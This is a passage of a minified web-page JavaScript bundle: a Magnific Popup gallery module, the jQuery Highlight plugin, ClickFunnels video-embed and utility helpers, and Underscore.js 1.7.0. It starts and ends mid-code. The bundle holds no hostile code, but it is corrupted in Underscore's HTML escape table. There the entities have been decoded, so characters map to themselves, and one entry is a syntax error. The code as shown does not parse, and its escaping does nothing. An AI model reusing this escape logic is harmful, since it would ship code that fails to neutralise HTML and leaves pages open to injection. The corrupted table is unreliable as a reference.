S(l+i,function(){r.off(i),t.wrap.off("click"+i),t.arrowLeft&&o&&t.arrowLeft.add(t.arrowRight).destroyMfpFastClick(),t.arrowRight=t.arrowLeft=null}))},next:function(){t.direction=!0,t.index=z(t.index+1),t.updateItemHTML()},prev:function(){t.direction=!1,t.index=z(t.index-1),t.updateItemHTML()},goTo:function(e){t.direction=e>=t.index,t.index=e,t.updateItemHTML()},preloadNearbyImages:function(){var e,n=t.st.gallery.preload,i=Math.min(n[0],t.items.length),r=Math.min(n[1],t.items.length);for(e=1;(t.direction?r:i)>=e;e++)t._preloadItem(t.index+e);for(e=1;(t.direction?i:r)>=e;e++)t._preloadItem(t.index-e)},_preloadItem:function(n){if(n=z(n),!t.items[n].preloaded){var i=t.items[n];i.parsed||(i=t.parseEl(n)),C("LazyLoad",i),"image"===i.type&&(i.img=e('<img class="mfp-img" />').on("load.mfploader",function(){i.hasSize=!0}).on("error.mfploader",function(){i.hasSize=!0,i.loadError=!0,C("LazyLoadError",i)}).attr("src",i.src)),i.preloaded=!0}}}});var Y="retina";e.magnificPopup.registerModule(Y,{options:{replaceSrc:function(e){return e.src.replace(/\.\w+$/,function(e){return"@2x"+e})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var e=t.st.retina,n=e.ratio;(n=isNaN(n)?n():n)>1&&(S("ImageHasSize."+Y,function(e,t){t.img.css({"max-width":t.img[0].naturalWidth/n,width:"100%"})}),S("ElementParse."+Y,function(t,i){i.src=e.replaceSrc(i,n)}))}}}}),function(){var t=1e3,n="ontouchstart"in window,i=function(){w.off("touchmove"+r+" touchend"+r)},r="."+"mfpFastClick";e.fn.mfpFastClick=function(o){return e(this).each(function(){var a,s,l,c,u,d,f,p=e(this);n&&p.on("touchstart"+r,function(e){u=!1,f=1,d=e.originalEvent?e.originalEvent.touches[0]:e.touches[0],l=d.clientX,c=d.clientY,w.on("touchmove"+r,function(e){d=e.originalEvent?e.originalEvent.touches:e.touches,f=d.length,d=d[0],(Math.abs(d.clientX-l)>10||Math.abs(d.clientY-c)>10)&&(u=!0,i())}).on("touchend"+r,function(e){i(),u||f>1||(a=!0,e.preventDefault(),clearTimeout(s),s=setTimeout(function(){a=!1},t),o())})});p.on("click"+r,function(){a||o()})})},e.fn.destroyMfpFastClick=function(){e(this).off("touchstart"+r+" click"+r),n&&w.off("touchmove"+r+" touchend"+r)}}(),E()}(window.jQuery||window.Zepto), /* * jQuery Highlight plugin * * Based on highlight v3 by Johann Burkard * http://johannburkard.de/blog/programming/javascript/highlight-javascript-text-higlighting-jquery-plugin.html * * Code a little bit refactored and cleaned (in my humble opinion). * Most important changes: * - has an option to highlight only entire words (wordsOnly - false by default), * - has an option to be case sensitive (caseSensitive - false by default) * - highlight element tag and class names can be specified in options * * Usage: * // wrap every occurrance of text 'lorem' in content * // with <span class='highlight'> (default options) * $('#content').highlight('lorem'); * * // search for and highlight more terms at once * // so you can save some time on traversing DOM * $('#content').highlight(['lorem', 'ipsum']); * $('#content').highlight('lorem ipsum'); * * // search only for entire word 'lorem' * $('#content').highlight('lorem', { wordsOnly: true }); * * // don't ignore case during search of term 'lorem' * $('#content').highlight('lorem', { caseSensitive: true }); * * // wrap every occurrance of term 'ipsum' in content * // with <em class='important'> * $('#content').highlight('ipsum', { element: 'em', className: 'important' }); * * // remove default highlight * $('#content').unhighlight(); * * // remove custom highlight * $('#content').unhighlight({ element: 'em', className: 'important' }); * * * Copyright (c) 2009 Bartek Szopka * * Licensed under MIT license. * */ jQuery.extend({highlight:function(e,t,n,i){if(3===e.nodeType){var r=e.data.match(t);if(r){var o=document.createElement(n||"span");o.className=i||"highlight";var a=e.splitText(r.index);a.splitText(r[0].length);var s=a.cloneNode(!0);return o.appendChild(s),a.parentNode.replaceChild(o,a),1}}else if(1===e.nodeType&&e.childNodes&&!/(script|style)/i.test(e.tagName)&&(e.tagName!==n.toUpperCase()||e.className!==i))for(var l=0;l<e.childNodes.length;l++)l+=jQuery.highlight(e.childNodes[l],t,n,i);return 0}}),jQuery.fn.unhighlight=function(e){var t={className:"highlight",element:"span"};return jQuery.extend(t,e),this.find(t.element+"."+t.className).each(function(){var e=this.parentNode;e.replaceChild(this.firstChild,this),e.normalize()}).end()},jQuery.fn.highlight=function(e,t){var n={className:"highlight",element:"span",caseSensitive:!1,wordsOnly:!1};if(jQuery.extend(n,t),e.constructor===String&&(e=[e]),e=jQuery.grep(e,function(e){return""!=e}),0==(e=jQuery.map(e,function(e){return e.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")})).length)return this;var i=n.caseSensitive?"":"i",r="("+e.join("|")+")";n.wordsOnly&&(r="\\b"+r+"\\b");var o=new RegExp(r,i);return this.each(function(){jQuery.highlight(this,o,n.element,n.className)})},function(){function e(e,t,n){return n=n||{},e=parseFloat(e,10),(n.isPriceInCents||n.isPriceInCents==undefined)&&(e/=100),e.toLocaleString(undefined,{style:"currency",currency:t||"USD"})}function t(e,t){var n;if(t&&"large"==t)for(n=e+"-"+(Math.floor(9e4*Math.random())+1e4);$("#"+n).length>0;)n=e+"-"+(Math.floor(9e4*Math.random())+1e4);else for(n=e+"-"+(Math.floor(90*Math.random())+100);$("#"+n).length>0;)n=e+"-"+(Math.floor(90*Math.random())+100);return n}function n(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"==e?t:3&t|8).toString(16)})}function i(e,t,n){return(e.attributes[t]||{value:n}).value}function r(e,t){return e?t?e.replace(/[^0-9\.]/g,""):e.replace(/[^0-9\.-]/g,""):e}function o(e){for(var t in result="",e)result+=t+"="+e[t]+"&";return result&&result.length>0?result.substring(0,result.length-1):""}function a(e,t){for(;(e=e.parentElement)&&!(e.matches||e.matchesSelector).call(e,t););return e}function s(e,t){for(var n=[],i=[],r=0;r<e.length;r++)n[e[r]]=!0;for(r=0;r<t.length;r++)n[t[r]]?delete n[t[r]]:n[t[r]]=!0;for(var o in n)i.push(o);return i}function l(e){var t=null;try{t=JSON.parse(e)}catch(n){}return t}window.generateUniqueId=t,window.CFUtils=window.CFUtils||{},window.CFUtils.displayAmountWithCurrency=e,window.CFUtils.generateUniqueId=t,window.CFUtils.generateUUID=n,window.CFUtils.stringRemoveLetters=r,window.CFUtils.generateURLQueryString=o,window.CFUtils.safeAttribute=i,window.CFUtils.findAncestor=a,window.CFUtils.arrSymmetricDiff=s,window.CFUtils.safeJSONParse=l}(),function(){function e(e){return"yes"===e?'allow="autoplay"':""}function t(e,t,n){return"yes"==e||"true"==t?n+"autoplay=1&":"autoplay=0"}function n(e){var t=f(e,"data-youtube-url","");return""==t||t===undefined?"https://www.youtube.com/watch?v=8KUHpd8T6S8":t=(t=(t=(t=t.replace("https://www.youtube.com/watch?v=","")).replace("http://www.youtube.com/watch?v=","")).replace("http://youtu.be/","")).replace("https://youtu.be/","")}function i(e){var t=f(e,"data-vimeo-url","");return""==t||t===undefined?"99822791":t=(t=(t=(t=(t=(t=t.replace("http://vimeo.com/channels/staffpicks/","")).replace("http://vimeo.com/","")).replace("https://vimeo.com/","")).replace("https://vimeo.com/channels/staffpicks/","")).replace("//vimeo.com/","")).replace("//vimeo.com/channels/staffpicks/","")}function r(i){var r,o,a=n(i),s=f(i,"data-youtube-unmute-label","false"),l=f(i,"data-youtube-block-pause","false"),c="true"===l?"yes":f(i,"data-youtube-autoplay","no"),u=e(c),d=t(c,l,"mute=1&"),p=f(i,"data-youtube-branding");p="yes"==p&&"true"!=l?"0":"1",o='<iframe width="'+f(i,"data-youtube-width",640)+'" height="'+f(i,"data-youtube-height",360)+'" '+u+' src="//www.youtube.com/embed/'+a+"?"+d+"&modestbranding="+p+"&controls="+(r="no"==(r=f(i,"data-youtube-controls","yes"))||"true"==l?"0":"1")+'&showinfo=0&rel=0&hd=1&wmode=transparent" frameborder="0" allowfullscreen wmode="opaque"></iframe>';var h=i.querySelector(".elVideo");h&&(h.innerHTML=o,"true"==l?h.classList.add("iframeblocked"):"yes"==c&&"true"==s&&"0"==r&&h.classList.add("iframeunmuted"));var m=i.querySelector("textarea.editor-video-holder");m&&(m.value=o),i.classList.remove("customvideoembed")}function o(n){var r,o=i(n),a=f(n,"data-vimeo-unmute-label","false"),s=f(n,"data-vimeo-block-pause","false"),l="true"===s?"yes":f(n,"data-vimeo-autoplay","false"),c=e(l),u=t(l,s,"muted=1&");width=f(n,"data-vimeo-width",640),height=f(n,"data-vimeo-height",360),r='<iframe width="'+width+'" height="'+height+'" '+c+' src="//player.vimeo.com/video/'+o+"?"+u+'&title=0&byline=0&wmode=transparent&autopause=0" frameborder="0" allowfullscreen wmode="opaque"></iframe>';var d=n.querySelector(".elVideo");d&&(d.innerHTML=r,"true"==s?d.classList.add("iframeblocked"):"yes"==l&&"true"==a&&d.classList.add("iframeunmuted"));var p=n.querySelector("textarea.editor-video-holder");p&&(p.value=r),n.classList.remove("customvideoembed")}function a(n){var i=f(n,"data-wistia-url","");if(""==i||i===undefined)return"fqiy4bjdu8";i=(i=i.split("/"))[i.length-1];var r,o=f(n,"data-wistia-block-pause","false"),a="true"===o?"yes":f(n,"data-wistia-autoplay","no"),s=e(a),l=t(a,o,"muted=true&");width=f(n,"data-wistia-width",640),height=f(n,"data-wistia-height",360),r='<iframe width="'+width+'" height="'+height+'" '+s+' src="//fast.wistia.net/embed/iframe/'+i+"?"+l+'&wmode=transparent" allowtransparency="true" frameborder="0" scrolling="no" class="wistia_embed" name="wistia_embed" allowfullscreen mozallowfullscreen webkitallowfullscreen oallowfullscreen msallowfullscreen wmode="opaque" ></iframe>';var c=n.querySelector(".elVideo");c&&(c.innerHTML=r,"true"==o&&c.classList.add("iframeblocked"));var u=n.querySelector("textarea.editor-video-holder");u&&(u.value=r),n.classList.remove("customvideoembed")}function s(e){var t,n,i=f(e,"data-mp4-url",""),r=f(e,"data-webm-url",""),o="down";"lesson"===f(document.getElementsByTagName("html")[0],"data-page-type","page").toLowerCase()&&(o="nodownload"),t=(t=f(e,"poster-url",null)||f(e,"data-poster-url",null))&&t.length>0?' poster="'+t+'" ':"",o=o&&o.length>0?' controlsList="'+o+'" ':"",n='<video id="'+generateUniqueId("video")+'" width="auto" height="auto" class="video-js vjs-default-skin" controls="false" '+o+t+' preload="auto" data-setup="{}">',n+='<source src="'+i+'" type="video/mp4">',n+='<source src="'+r+'" type="video/webm">',n+="Your browser does not support HTML5 video.",n+="</video>";var a=e.querySelector(".elVideo");a&&(a.innerHTML=n);var s=e.querySelector(".editor-video-holder");s&&(s.value=n),e.classList.remove("customvideoembed")}function l(e){var t=f(e,"id",""),n=document.getElementById(t).querySelector(".editor-video-holder"),i="";n&&(i=n.value);var r,o,a=f(e,"data-custom-block-pause","false"),s=e.querySelector(".elVideo");if(s){"true"==a&&(i.indexOf("autoplay=0")>-1&&(i=i.replace("autoplay=0","autoplay=1")),s.classList.add("iframeblocked")),s.innerHTML=i;var l=s.querySelector("iframe");l&&(""!==(r=f(l,"width",""))&&r!==undefined||l.setAttribute("width","640"),""!==(o=f(l,"height",""))&&o!==undefined||l.setAttribute("height","360"),e.classList.remove("customvideoembed"))}}function c(e){var t=f(e,"data-video-type",""),n=e.querySelector(".elVideo");n&&(n.classList.remove("iframeblocked"),n.classList.remove("iframeunmuted")),"youtube"==t?r(e):"vimeo"==t?o(e):"wistia"==t?a(e):"evp"==t?e.classList.remove("customvideoembed"):"html5"==t?s(e):l(e),d(e)}function u(){var e=document.querySelectorAll(".video-js");0!=e.length&&e.forEach(function(e){var t=e.parentNode,n=e.querySelectorAll("source");if(0!=n.length){var i=[];n.forEach(function(e){i.push(f(e,"src",""))});var r=i[0],o=i[i.length-1],a=f(e,"poster","");a&&a.length>0&&(a=' poster="'+a+'" ');var s=generateUniqueId("video_random_"),l='<video style="width: 100%" id="'+s+'"'+a+' controls controlsList="nodownload">';l+='<source src="'+r+'" type="video/mp4">',o.length&&(l+='<source src="'+o+'" type="video/webm">'),l+="Your browser does not support HTML5 video.",l+="</video>",l+='<span class="'+s+'" style="display: none;display: block;padding: 5px;background: #fafafa;font-weight: bold;"><i class="fa fa-spinner fa-spin"></i> Loading Video...</span>';var c=document.createElement("div");c.innerHTML=l,t.replaceChild(c,e);var u=document.getElementById(s);u.onloadstart=function(){$("."+s).show()},u.oncanplay=function(){$("."+s).hide()}}})}function d(e){$elQ=$(e);var t=$elQ.attr("data-video-title");t&&$elQ.find(".elVideo iframe").attr("title",t)}function f(e,t,n){return(e.attributes[t]||{value:n}).value}window.ClickFunnels=window.ClickFunnels||{},window.ClickFunnels.VideoElement={convertHtml:c,replaceMembershipVideosWithStandardPlayer:u}}(),function(){var e=this,t=e._,n=Array.prototype,i=Object.prototype,r=Function.prototype,o=n.push,a=n.slice,s=n.concat,l=i.toString,c=i.hasOwnProperty,u=Array.isArray,d=Object.keys,f=r.bind,p=function(e){return e instanceof p?e:this instanceof p?void(this._wrapped=e):new p(e)};"undefined"!=typeof exports?("undefined"!=typeof module&&module.exports&&(exports=module.exports=p),exports._=p):e._=p,p.VERSION="1.7.0";var h=function(e,t,n){if(void 0===t)return e;switch(null==n?3:n){case 1:return function(n){return e.call(t,n)};case 2:return function(n,i){return e.call(t,n,i)};case 3:return function(n,i,r){return e.call(t,n,i,r)};case 4:return function(n,i,r,o){return e.call(t,n,i,r,o)}}return function(){return e.apply(t,arguments)}};p.iteratee=function(e,t,n){return null==e?p.identity:p.isFunction(e)?h(e,t,n):p.isObject(e)?p.matches(e):p.property(e)},p.each=p.forEach=function(e,t,n){if(null==e)return e;t=h(t,n);var i,r=e.length;if(r===+r)for(i=0;r>i;i++)t(e[i],i,e);else{var o=p.keys(e);for(i=0,r=o.length;r>i;i++)t(e[o[i]],o[i],e)}return e},p.map=p.collect=function(e,t,n){if(null==e)return[];t=p.iteratee(t,n);for(var i,r=e.length!==+e.length&&p.keys(e),o=(r||e).length,a=Array(o),s=0;o>s;s++)i=r?r[s]:s,a[s]=t(e[i],i,e);return a};var m="Reduce of empty array with no initial value";p.reduce=p.foldl=p.inject=function(e,t,n,i){null==e&&(e=[]),t=h(t,i,4);var r,o=e.length!==+e.length&&p.keys(e),a=(o||e).length,s=0;if(arguments.length<3){if(!a)throw new TypeError(m);n=e[o?o[s++]:s++]}for(;a>s;s++)n=t(n,e[r=o?o[s]:s],r,e);return n},p.reduceRight=p.foldr=function(e,t,n,i){null==e&&(e=[]),t=h(t,i,4);var r,o=e.length!==+e.length&&p.keys(e),a=(o||e).length;if(arguments.length<3){if(!a)throw new TypeError(m);n=e[o?o[--a]:--a]}for(;a--;)n=t(n,e[r=o?o[a]:a],r,e);return n},p.find=p.detect=function(e,t,n){var i;return t=p.iteratee(t,n),p.some(e,function(e,n,r){return t(e,n,r)?(i=e,!0):void 0}),i},p.filter=p.select=function(e,t,n){var i=[];return null==e?i:(t=p.iteratee(t,n),p.each(e,function(e,n,r){t(e,n,r)&&i.push(e)}),i)},p.reject=function(e,t,n){return p.filter(e,p.negate(p.iteratee(t)),n)},p.every=p.all=function(e,t,n){if(null==e)return!0;t=p.iteratee(t,n);var i,r,o=e.length!==+e.length&&p.keys(e),a=(o||e).length;for(i=0;a>i;i++)if(!t(e[r=o?o[i]:i],r,e))return!1;return!0},p.some=p.any=function(e,t,n){if(null==e)return!1;t=p.iteratee(t,n);var i,r,o=e.length!==+e.length&&p.keys(e),a=(o||e).length;for(i=0;a>i;i++)if(t(e[r=o?o[i]:i],r,e))return!0;return!1},p.contains=p.include=function(e,t){return null!=e&&(e.length!==+e.length&&(e=p.values(e)),p.indexOf(e,t)>=0)},p.invoke=function(e,t){var n=a.call(arguments,2),i=p.isFunction(t);return p.map(e,function(e){return(i?t:e[t]).apply(e,n)})},p.pluck=function(e,t){return p.map(e,p.property(t))},p.where=function(e,t){return p.filter(e,p.matches(t))},p.findWhere=function(e,t){return p.find(e,p.matches(t))},p.max=function(e,t,n){var i,r,o=-1/0,a=-1/0;if(null==t&&null!=e)for(var s=0,l=(e=e.length===+e.length?e:p.values(e)).length;l>s;s++)(i=e[s])>o&&(o=i);else t=p.iteratee(t,n),p.each(e,function(e,n,i){((r=t(e,n,i))>a||r===-1/0&&o===-1/0)&&(o=e,a=r)});return o},p.min=function(e,t,n){var i,r,o=1/0,a=1/0;if(null==t&&null!=e)for(var s=0,l=(e=e.length===+e.length?e:p.values(e)).length;l>s;s++)i=e[s],o>i&&(o=i);else t=p.iteratee(t,n),p.each(e,function(e,n,i){r=t(e,n,i),(a>r||1/0===r&&1/0===o)&&(o=e,a=r)});return o},p.shuffle=function(e){for(var t,n=e&&e.length===+e.length?e:p.values(e),i=n.length,r=Array(i),o=0;i>o;o++)(t=p.random(0,o))!==o&&(r[o]=r[t]),r[t]=n[o];return r},p.sample=function(e,t,n){return null==t||n?(e.length!==+e.length&&(e=p.values(e)),e[p.random(e.length-1)]):p.shuffle(e).slice(0,Math.max(0,t))},p.sortBy=function(e,t,n){return t=p.iteratee(t,n),p.pluck(p.map(e,function(e,n,i){return{value:e,index:n,criteria:t(e,n,i)}}).sort(function(e,t){var n=e.criteria,i=t.criteria;if(n!==i){if(n>i||void 0===n)return 1;if(i>n||void 0===i)return-1}return e.index-t.index}),"value")};var g=function(e){return function(t,n,i){var r={};return n=p.iteratee(n,i),p.each(t,function(i,o){var a=n(i,o,t);e(r,i,a)}),r}};p.groupBy=g(function(e,t,n){p.has(e,n)?e[n].push(t):e[n]=[t]}),p.indexBy=g(function(e,t,n){e[n]=t}),p.countBy=g(function(e,t,n){p.has(e,n)?e[n]++:e[n]=1}),p.sortedIndex=function(e,t,n,i){for(var r=(n=p.iteratee(n,i,1))(t),o=0,a=e.length;a>o;){var s=o+a>>>1;n(e[s])<r?o=s+1:a=s}return o},p.toArray=function(e){return e?p.isArray(e)?a.call(e):e.length===+e.length?p.map(e,p.identity):p.values(e):[]},p.size=function(e){return null==e?0:e.length===+e.length?e.length:p.keys(e).length},p.partition=function(e,t,n){t=p.iteratee(t,n);var i=[],r=[];return p.each(e,function(e,n,o){(t(e,n,o)?i:r).push(e)}),[i,r]},p.first=p.head=p.take=function(e,t,n){return null==e?void 0:null==t||n?e[0]:0>t?[]:a.call(e,0,t)},p.initial=function(e,t,n){return a.call(e,0,Math.max(0,e.length-(null==t||n?1:t)))},p.last=function(e,t,n){return null==e?void 0:null==t||n?e[e.length-1]:a.call(e,Math.max(e.length-t,0))},p.rest=p.tail=p.drop=function(e,t,n){return a.call(e,null==t||n?1:t)},p.compact=function(e){return p.filter(e,p.identity)};var y=function(e,t,n,i){if(t&&p.every(e,p.isArray))return s.apply(i,e);for(var r=0,a=e.length;a>r;r++){var l=e[r];p.isArray(l)||p.isArguments(l)?t?o.apply(i,l):y(l,t,n,i):n||i.push(l)}return i};p.flatten=function(e,t){return y(e,t,!1,[])},p.without=function(e){return p.difference(e,a.call(arguments,1))},p.uniq=p.unique=function(e,t,n,i){if(null==e)return[];p.isBoolean(t)||(i=n,n=t,t=!1),null!=n&&(n=p.iteratee(n,i));for(var r=[],o=[],a=0,s=e.length;s>a;a++){var l=e[a];if(t)a&&o===l||r.push(l),o=l;else if(n){var c=n(l,a,e);p.indexOf(o,c)<0&&(o.push(c),r.push(l))}else p.indexOf(r,l)<0&&r.push(l)}return r},p.union=function(){return p.uniq(y(arguments,!0,!0,[]))},p.intersection=function(e){if(null==e)return[];for(var t=[],n=arguments.length,i=0,r=e.length;r>i;i++){var o=e[i];if(!p.contains(t,o)){for(var a=1;n>a&&p.contains(arguments[a],o);a++);a===n&&t.push(o)}}return t},p.difference=function(e){var t=y(a.call(arguments,1),!0,!0,[]);return p.filter(e,function(e){return!p.contains(t,e)})},p.zip=function(e){if(null==e)return[];for(var t=p.max(arguments,"length").length,n=Array(t),i=0;t>i;i++)n[i]=p.pluck(arguments,i);return n},p.object=function(e,t){if(null==e)return{};for(var n={},i=0,r=e.length;r>i;i++)t?n[e[i]]=t[i]:n[e[i][0]]=e[i][1];return n},p.indexOf=function(e,t,n){if(null==e)return-1;var i=0,r=e.length;if(n){if("number"!=typeof n)return e[i=p.sortedIndex(e,t)]===t?i:-1;i=0>n?Math.max(0,r+n):n}for(;r>i;i++)if(e[i]===t)return i;return-1},p.lastIndexOf=function(e,t,n){if(null==e)return-1;var i=e.length;for("number"==typeof n&&(i=0>n?i+n+1:Math.min(i,n+1));--i>=0;)if(e[i]===t)return i;return-1},p.range=function(e,t,n){arguments.length<=1&&(t=e||0,e=0),n=n||1;for(var i=Math.max(Math.ceil((t-e)/n),0),r=Array(i),o=0;i>o;o++,e+=n)r[o]=e;return r};var v=function(){};p.bind=function(e,t){var n,i;if(f&&e.bind===f)return f.apply(e,a.call(arguments,1));if(!p.isFunction(e))throw new TypeError("Bind must be called on a function");return n=a.call(arguments,2),i=function(){if(!(this instanceof i))return e.apply(t,n.concat(a.call(arguments)));v.prototype=e.prototype;var r=new v;v.prototype=null;var o=e.apply(r,n.concat(a.call(arguments)));return p.isObject(o)?o:r}},p.partial=function(e){var t=a.call(arguments,1);return function(){for(var n=0,i=t.slice(),r=0,o=i.length;o>r;r++)i[r]===p&&(i[r]=arguments[n++]);for(;n<arguments.length;)i.push(arguments[n++]);return e.apply(this,i)}},p.bindAll=function(e){var t,n,i=arguments.length;if(1>=i)throw new Error("bindAll must be passed function names");for(t=1;i>t;t++)e[n=arguments[t]]=p.bind(e[n],e);return e},p.memoize=function(e,t){var n=function(i){var r=n.cache,o=t?t.apply(this,arguments):i;return p.has(r,o)||(r[o]=e.apply(this,arguments)),r[o]};return n.cache={},n},p.delay=function(e,t){var n=a.call(arguments,2);return setTimeout(function(){return e.apply(null,n)},t)},p.defer=function(e){return p.delay.apply(p,[e,1].concat(a.call(arguments,1)))},p.throttle=function(e,t,n){var i,r,o,a=null,s=0;n||(n={});var l=function(){s=!1===n.leading?0:p.now(),a=null,o=e.apply(i,r),a||(i=r=null)};return function(){var c=p.now();s||!1!==n.leading||(s=c);var u=t-(c-s);return i=this,r=arguments,0>=u||u>t?(clearTimeout(a),a=null,s=c,o=e.apply(i,r),a||(i=r=null)):a||!1===n.trailing||(a=setTimeout(l,u)),o}},p.debounce=function(e,t,n){var i,r,o,a,s,l=function(){var c=p.now()-a;t>c&&c>0?i=setTimeout(l,t-c):(i=null,n||(s=e.apply(o,r),i||(o=r=null)))};return function(){o=this,r=arguments,a=p.now();var c=n&&!i;return i||(i=setTimeout(l,t)),c&&(s=e.apply(o,r),o=r=null),s}},p.wrap=function(e,t){return p.partial(t,e)},p.negate=function(e){return function(){return!e.apply(this,arguments)}},p.compose=function(){var e=arguments,t=e.length-1;return function(){for(var n=t,i=e[t].apply(this,arguments);n--;)i=e[n].call(this,i);return i}},p.after=function(e,t){return function(){return--e<1?t.apply(this,arguments):void 0}},p.before=function(e,t){var n;return function(){return--e>0?n=t.apply(this,arguments):t=null,n}},p.once=p.partial(p.before,2),p.keys=function(e){if(!p.isObject(e))return[];if(d)return d(e);var t=[];for(var n in e)p.has(e,n)&&t.push(n);return t},p.values=function(e){for(var t=p.keys(e),n=t.length,i=Array(n),r=0;n>r;r++)i[r]=e[t[r]];return i},p.pairs=function(e){for(var t=p.keys(e),n=t.length,i=Array(n),r=0;n>r;r++)i[r]=[t[r],e[t[r]]];return i},p.invert=function(e){for(var t={},n=p.keys(e),i=0,r=n.length;r>i;i++)t[e[n[i]]]=n[i];return t},p.functions=p.methods=function(e){var t=[];for(var n in e)p.isFunction(e[n])&&t.push(n);return t.sort()},p.extend=function(e){if(!p.isObject(e))return e;for(var t,n,i=1,r=arguments.length;r>i;i++)for(n in t=arguments[i])c.call(t,n)&&(e[n]=t[n]);return e},p.pick=function(e,t,n){var i,r={};if(null==e)return r;if(p.isFunction(t))for(i in t=h(t,n),e){var o=e[i];t(o,i,e)&&(r[i]=o)}else{var l=s.apply([],a.call(arguments,1));e=new Object(e);for(var c=0,u=l.length;u>c;c++)(i=l[c])in e&&(r[i]=e[i])}return r},p.omit=function(e,t,n){if(p.isFunction(t))t=p.negate(t);else{var i=p.map(s.apply([],a.call(arguments,1)),String);t=function(e,t){return!p.contains(i,t)}}return p.pick(e,t,n)},p.defaults=function(e){if(!p.isObject(e))return e;for(var t=1,n=arguments.length;n>t;t++){var i=arguments[t];for(var r in i)void 0===e[r]&&(e[r]=i[r])}return e},p.clone=function(e){return p.isObject(e)?p.isArray(e)?e.slice():p.extend({},e):e},p.tap=function(e,t){return t(e),e};var b=function(e,t,n,i){if(e===t)return 0!==e||1/e==1/t;if(null==e||null==t)return e===t;e instanceof p&&(e=e._wrapped),t instanceof p&&(t=t._wrapped);var r=l.call(e);if(r!==l.call(t))return!1;switch(r){case"[object RegExp]":case"[object String]":return""+e==""+t;case"[object Number]":return+e!=+e?+t!=+t:0==+e?1/+e==1/t:+e==+t;case"[object Date]":case"[object Boolean]":return+e==+t}if("object"!=typeof e||"object"!=typeof t)return!1;for(var o=n.length;o--;)if(n[o]===e)return i[o]===t;var a,s,c=e.constructor,u=t.constructor;if(c!==u&&"constructor"in e&&"constructor"in t&&!(p.isFunction(c)&&c instanceof c&&p.isFunction(u)&&u instanceof u))return!1;if(n.push(e),i.push(t),"[object Array]"===r){if(s=(a=e.length)===t.length)for(;a--&&(s=b(e[a],t[a],n,i)););}else{var d,f=p.keys(e);if(a=f.length,s=p.keys(t).length===a)for(;a--&&(d=f[a],s=p.has(t,d)&&b(e[d],t[d],n,i)););}return n.pop(),i.pop(),s};p.isEqual=function(e,t){return b(e,t,[],[])},p.isEmpty=function(e){if(null==e)return!0;if(p.isArray(e)||p.isString(e)||p.isArguments(e))return 0===e.length;for(var t in e)if(p.has(e,t))return!1;return!0},p.isElement=function(e){return!(!e||1!==e.nodeType)},p.isArray=u||function(e){return"[object Array]"===l.call(e)},p.isObject=function(e){var t=typeof e;return"function"===t||"object"===t&&!!e},p.each(["Arguments","Function","String","Number","Date","RegExp"],function(e){p["is"+e]=function(t){return l.call(t)==="[object "+e+"]"}}),p.isArguments(arguments)||(p.isArguments=function(e){return p.has(e,"callee")}),"function"!=typeof/./&&(p.isFunction=function(e){return"function"==typeof e||!1}),p.isFinite=function(e){return isFinite(e)&&!isNaN(parseFloat(e))},p.isNaN=function(e){return p.isNumber(e)&&e!==+e},p.isBoolean=function(e){return!0===e||!1===e||"[object Boolean]"===l.call(e)},p.isNull=function(e){return null===e},p.isUndefined=function(e){return void 0===e},p.has=function(e,t){return null!=e&&c.call(e,t)},p.noConflict=function(){return e._=t,this},p.identity=function(e){return e},p.constant=function(e){return function(){return e}},p.noop=function(){},p.property=function(e){return function(t){return t[e]}},p.matches=function(e){var t=p.pairs(e),n=t.length;return function(e){if(null==e)return!n;e=new Object(e);for(var i=0;n>i;i++){var r=t[i],o=r[0];if(r[1]!==e[o]||!(o in e))return!1}return!0}},p.times=function(e,t,n){var i=Array(Math.max(0,e));t=h(t,n,1);for(var r=0;e>r;r++)i[r]=t(r);return i},p.random=function(e,t){return null==t&&(t=e,e=0),e+Math.floor(Math.random()*(t-e+1))},p.now=Date.now||function(){return(new Date).getTime()};var _={"&":"&","<":"<",">":">",'"':""","'":"'","`":"`"},T=p.invert(_),w=function(e){var t=function(t){return e[t]},n="(?:"+p.keys(e).join("|")+")",i=RegExp(n),r=RegExp(n,"g");return function(e){return e=null==e?"":""+e,i.test(e)?e.replace(r,t):e}};p.escape=w(_),p.unescape=w(T),p.result=function(e,t){if(null!=e){var n=e[t];return p.isFunction(n)?e[t]():n}};var S=0;p.uniqueId=function(e){var t=++S+"";return e?e+t:t},p.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g};var k=/(.)^/,C={"'":"'","\\":"\\","\r":"r","\n":"n","\u2028":"u2028","\u2029":"u2029"},x=/\\|'|\r|\n|\u2028|\u2029/g,E=function(e){return"\\"+C[e]};p.template=function(e,t,n){!t&&n&&(t=n),t=p.defaults({},t,p.templateSettings);var i=RegExp([(t.escape||k).source,(t.interpolate||k).source,(t.evaluate||k).source].join("|")+"|$","g"),r=0,o="__p+='";e.replace(i,function(t,n,i,a,s){return o+=e.slice(r,s).replace(x,E),r=s+t.length,n?o+="'+\n((__t=("+n+"))==null?'':_.escape(__t))+\n'":i?o+="'+\n((__t=("+i+"))==null?'':__t)+\n'":a&&(o+="';\n"+a+"\n__p+='"),t}),o+="';\n",t.variable||(o="with(obj||{}){\n"+o+"}\n"),o="var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\n"+o+"return __p;\n";try{var a=new Function(t.variable||"obj","_",o)}catch(s){throw s.source=o,s}var l=function(e){return a.call(this,e,p)},c=t.variable||"obj";return l.source="function("+c+"){\n"+o+"}",l},p.chain=function(e){var t=p(e);return t._chain=!0,t};var $=function(e){return this._chain?p(e).chain():e};p.mixin=function(e){p.each(p.functions(e),function(t){var n=p[t]=e[t];p.prototype[t]=function(){var e=[this._wrapped];return o.apply(e,arguments),$.call(this,n.apply(p,e))}})},p.mixin(p),p.each(["pop","push","reverse","shift","sort","splice","unshift"],function(e){var t=n[e];p.prototype[e]=function(){var n=this._wrapped;return t.apply(n,arguments),"shift"!==e&&"splice"!==e||0!==n.length||delete n[0],$.call(this,n)}}),p.each(["concat","join","slice"],function(e){var t=n[e];p.prototype[e]=function(){return $.call(this,t.apply(this._wrapped,arguments))}}),p.prototype.value=function(){return this._wrapped},"function"==typeof define&&define.amd&&define("underscore",[],function(){return p})}.call(this),$(function(){function e(e){$(".lesson-link").first().trigger("click",[e])}$(".video-container").data("original",$(".video-container").html()),$(".video-description").data("original",$(".video-description").html()),$("#current-lesson, .current-lesson").data("original",$("#current-lesson, 